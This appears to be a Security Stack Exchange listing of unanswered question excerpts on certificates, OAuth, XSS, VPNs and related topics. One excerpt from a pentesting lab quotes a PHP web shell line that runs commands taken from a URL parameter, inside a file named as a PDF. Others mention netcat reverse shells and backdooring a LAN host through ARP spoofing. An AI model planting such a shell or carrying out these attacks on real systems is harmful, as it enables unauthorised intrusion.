1
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0answers
28 views

How to trace AD Admin Login

How to trace an admin login to active directory server (2008 R2) from which host or which ip (In the situation where multiple admin are working) ?
1
vote
0answers
25 views

Self signed certificate on application server behind web front end

I have a Tomcat application which is front ended by an Apache web server - end users connect to the Apache web server (never directly to Tomcat) and Apache has a valid, externally issued SSL etc The ...
1
vote
0answers
11 views

When does it make sense to whitelist some subdomains but not others for a given domain?

Little Snitch has been useful to get a better handle on all the connections my computer tries to make. It's main dialog to allow or deny connections allows customizing (e.g. require specific port, or ...
1
vote
0answers
30 views

SSRS custom assembly security issues

I want to invoke a custom assembly that uses protected services (like DirectoryServices, etc...) with reporting Services. On the web, I see a recurring example of configuration (inspired by this ...
1
vote
0answers
82 views

Windows Xp vulnerability

On Windows XP, what are the main system files and DLL files are targeted by malware ? I need this information in order to make a hash of those files and check if my system will be compromised in the ...
1
vote
0answers
55 views

Does cross platform (authenticated) volume encryption exist?

Note: this is not the same as What is a self-contained cross-platform encryption for USB drive?. I believe my question is on topic because I'm not asking for a recommendation. I'm asking if such a ...
1
vote
0answers
31 views

Openssl command line: How to get “Policy: X509v3 Any Policy” in a certificate I am generating through openssl

I am trying to generate a certificate through openssl which has the following line X509v3 Certificate Policies: Policy: X509v3 Any Policy But I end up getting X509v3 Certificate Policies: ...
1
vote
0answers
80 views

Accessing Chrome and Gmail on a stolen drive

I was trying to search for this, but could not find the answer anywhere - apology in advance if already answered. I have a Linux desktop installed on a thumb drive, which I keep in my pocket. This ...
1
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0answers
37 views

How to add user entries with password field in LDAP over HTTPS

I am new to this kind of stuff (HTTPS etc.) and pretty much confused on how to go ahead with this. An LDAP server (ApacheDS) at the back-end stores the user details. To add new users, the user ...
1
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0answers
96 views

Anyone seen weird messages in their logs?

I've been reading over the logs on my honeypot and discovered the following messages that seem to be either gibberish or a cypher message: kernel: v0 neigfradn tt kernel: [2108296.63083] devc nt nee ...
1
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0answers
106 views

How should I mitigate the XSS vulnerabilities in KnockoutJS described at mustache-security?

The site Mustache-Security describes XSS vulnerabilities in KnockoutJS... The vulnerabilities come from the use of eval (or some equivalent) to convert text in the data-bind attribute to executable ...
1
vote
0answers
37 views

Security for message queue in ActiveMQ

I am using ActiveMQ and WSO2 for my application. I need to protect my queue to restrict posting of messages by anonymous users(I need to protect my queue with some password). I know, there is a ...
1
vote
0answers
54 views

XSS Vectors for new Image()

What are possible XSS vectors to this JavaScript code new Image().src = encodeURI('[user url here]'); Let's assume two cases: [user url here] is some string provided by user (with no validation) ...
1
vote
0answers
30 views

Securing server from attacks and linking while allowing users to upload and store personal files?

I have read some questions and answers about uploading images specifically: Have I done enough not be compromised through image uploading Risks of a php image upload form Uploading images safe of ...
1
vote
0answers
422 views

GnuTLS ServerHello exploit (CVE-2014-3466) - how to verify?

So pretty much all of the GNUTLS world is worrying about CVE-2014-3466. I checked my Kali and it responds with this - # apt-cache rdepends libgnutls26 | grep -v lib Reverse Depends: ...
1
vote
0answers
69 views

Trusted Platform Module (TPM) secure password

I'm trying to set secure Trusted Platform Module (TPM) passwords on a network and would like to set it to the maximum length possible. How long can the TPM's password be? Is it limited by bits or by ...
1
vote
0answers
122 views

'Ghost' access to a php file on a web server

I'm developing a personal project and one part of the project is a php website, hosted at hostinger as a free plan, that allow clients to ping to it and stores the WAN IP and the NAT IP of them. ...
1
vote
0answers
79 views

XSS in HTML title tag without forward slash

I am trying to find out whether this is vulnerable against XSS: I can control the content of the title tag through the URL. This would make the site vulnerable if it wasn't for the fact that the site ...
1
vote
0answers
14 views

Tacacs won't match cmd rules included in both user and group area at the same time

I'm struggling to set up TACACS+ commands authorization. I have users defined in tacs_plus.conf. All of the users are members of group ADMIN. Group ADMIN has command authorization definitions. Now ...
1
vote
0answers
14 views

Email, Certificates and DANE

Does DANE offer the ability to provide certificates for services? Or is it just hosts? How does one specify a mail server with DANE? If my email is jd@foo.com but mail.bar.com is the email server, ...
1
vote
0answers
73 views

Preferred features of CDN with DDoS?

I am putting together a presentation comparing CDN services that also provide DDoS protection. I have to do a really good job on this and I'm not a security expert. For lack of direction, I've copied ...
1
vote
0answers
50 views

Are any major websites offering ECDSA authentication?

At the time the Cloudflare blog post “ECDSA: The digital signature algorithm of a better internet” was authored, Cloudflare was apparently one of "fewer than fifty" users of ECDSA certificates on the ...
1
vote
0answers
33 views

using oAuth2 auth dance vs oAuth1 signing

I have been reading about oauth and 'how to create apis'. In oauth2, there is what they call the authentication dance where the client will be requesting a request token using a consumer key and ...
1
vote
0answers
29 views

where to find a detailed demonstration on how to imitate the Token Kidnapping exploit by Argeniss?

I am looking for a way to do the Token Kidnapping’s Revenge exploit by Argeniss. (The vulnerability is explained in here) I am studying security (beginner) and I would like to imitate the attack to ...
1
vote
0answers
46 views

Reverse proxy which only proxies published query strings?

I'm setting up a reverse proxy to limit access to a protected resource. The protected resource provides a status page (http://protected.local/info). That page contains a number of links with query ...
1
vote
0answers
54 views

SSH using pre-existing session (symmetric) keys

Is there at present a way to open a SSH connection using pre-existing symmetric session keys? In other words, if I create a list of symmetric keys can I send that list to the recipient on a CD or USB ...
1
vote
0answers
35 views

Storing Tenants Cloud Keys In a Database

Imagine you are building a public service where you need to store the customer's cloud credentials(like their aws secret and access keys) in your database to regularly use by your backend services in ...
1
vote
0answers
37 views

Ncat output problem

I am using ncat for creating reverse connections and through that i open a cmd. my problem is that for commands that there is a lot of out put such as dir in a folder with a large number of files, ...
1
vote
0answers
161 views

Securing RESTFul WebServices

I am planning to secure my REST Web service (REST WS) using API KEY and NONCE VALUE. The REST WS is over SSL. The Userid / Password is encrypted and sent to Web Application hosting the REST WS where ...
1
vote
0answers
26 views

Struts2 + action prefix vulnerability + CVE-2013-4310

CVE-2013-4310 indicates the action prefix (action:) feature of struts2 framework is vulnerable. Hence the vendor released the patch(?) by disabling this feature. However, there is an option to enable ...
1
vote
0answers
102 views

Security risk of connecting one mobile device to another mobile device's hotspot

Is there any risk when connecting an Android Phone to a [Verizon] iPhone's Hotspot? If there are I'd like to know about solutions. The Android Phone will basically be tapping the data plan of the ...
1
vote
0answers
88 views

Ruby OpenSSL vs Linux openssl

I have a difficulty reconciling Ruby's OpenSSL library with the standard Linux command line openssl. What I'm trying to do here is encrypt the string mysecretstring with the password foobar but first ...
1
vote
0answers
75 views

Instant Messaging End-to-End

I plan to create an application for secure instant messaging, now I don't know whether or not I want to implement the encryption by myself. This project is also mainly for educational purpose so I ...
1
vote
0answers
101 views

Storing private messages in a database

I am creating a portal where users can send private messages (PMs) for a very large audience. So I want to encrypt the messages and store them in the database. But I do not want to ask the users for ...
1
vote
0answers
74 views

Login Authentication with SSL and HMAC

My question is pretty similar to : http://stackoverflow.com/questions/5487757/using-hmac-sha1-for-api-authentication-how-to-store-the-client-password-secure. Basically, I want to write an API for my ...
1
vote
0answers
32 views

Does DNSSEC provide signed statements that a certain domain does NOT yet support DNSSEC? If not, why not?

In my security class with David Wagner, we talked about some of the reasons why DNSSEC is not widely adopted right now. One of the reasons was that for backward compatibility reasons, clients need to ...
1
vote
0answers
42 views

Considerations when implementing a key based SSH-like auth scheme

I have a SMTP server where all the users (for an unrelated reason) will have public keys tied to their username and registered with the server. I want to add a non-standard extension that uses these ...
1
vote
0answers
217 views

Is Google Chrome Extension access to SSL certificate validation output possible?

I want to develop an extension which will stop an user from proceeding to any banking site (configurable by user) if a proxy like paros is seating in between sending fake certificate to user. My ...
1
vote
0answers
59 views

Local lan drive by download

Basically, I'm testing a local network, on which I'm able to use ARP spoofing. I now want to try and infect one of the Windows boxes on the network with a backdoor. I could inject an iframe into their ...
1
vote
0answers
91 views

Can we create custom APDU for non-smart (memory type) contactless card?

I want to implement card-based authentication for the parking system in a university. Currently all students own a Java Card-based student ID card, if they have not broken or lost it. Can we create ...
1
vote
0answers
81 views

Digital signature based authentication schema using two passwords

I'm working on an authentication system for a web based Bitcoin-related service. As part of the service, users do some less sensitive operations (mostly reading and sending various types of ...
1
vote
0answers
29 views

Question about the Perspectives add-on, is this dangerous?

When I visited Google and Facebook, and then clicked on the Perspectives add-on button to check the certificate information, I saw this:     What does this mean? Shouldn't it have ...
1
vote
0answers
89 views

Does using NAT-T for L2TP / IPsec VPN pose a realistic security risk?

I'm working on upgrading an old Windows RAS server that hosts PPTP VPN. I want to move to a L2TP/IPsec VPN. Due to the firewall appliance we use, the VPN server has to be behind a NAT. This means ...
1
vote
0answers
118 views

Failed to connect to netcat reverse shell

I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this: %PDF-1.4 <?php echo system($_GET["cmd"]); ...
1
vote
0answers
26 views

Purpose of Secure Key in Facebook(and other provider) in OAUTH?

I see lot of OAUTH provider give us a secure key. What is the purpose of secure key in Facebook(and other provider) in OAUTH?
1
vote
0answers
20 views

Specification Document

I have been asked to research on a certain database then write down a specification document which covers Authentication, Authorization and Encryption. Has anyone ever come across such a ...
1
vote
0answers
58 views

Lock Windows to a specific app

Is it possible, using some program or application, to lock Windows 7 so only a specific app can be used, for example Word, until a password is entered? Thanks!
1
vote
0answers
64 views

Neutralizing or Migitating ARP spoofing once detected

I've seen a few methods to detect ARP Spoofing attacks through code(such as this), and ways to defend against these attacks through software and switches (like arp spoofing protection on LAN). How ...
1
vote
0answers
48 views

Enabling virutalization, addressing the bluepill risk?

Background to this question is the ambivalence I assume with virtualization. Also to start directly with clarity: the term bluepill should here be a placeholder to denote "malware that uses ...
1
vote
0answers
23 views

Is indirection with ID federation possible?

At the moment I'm trying to design a system with some services. These services should make use of an ID provider (a) for login (for example using OAUTH) and another ID provider (b) to get user data. ...

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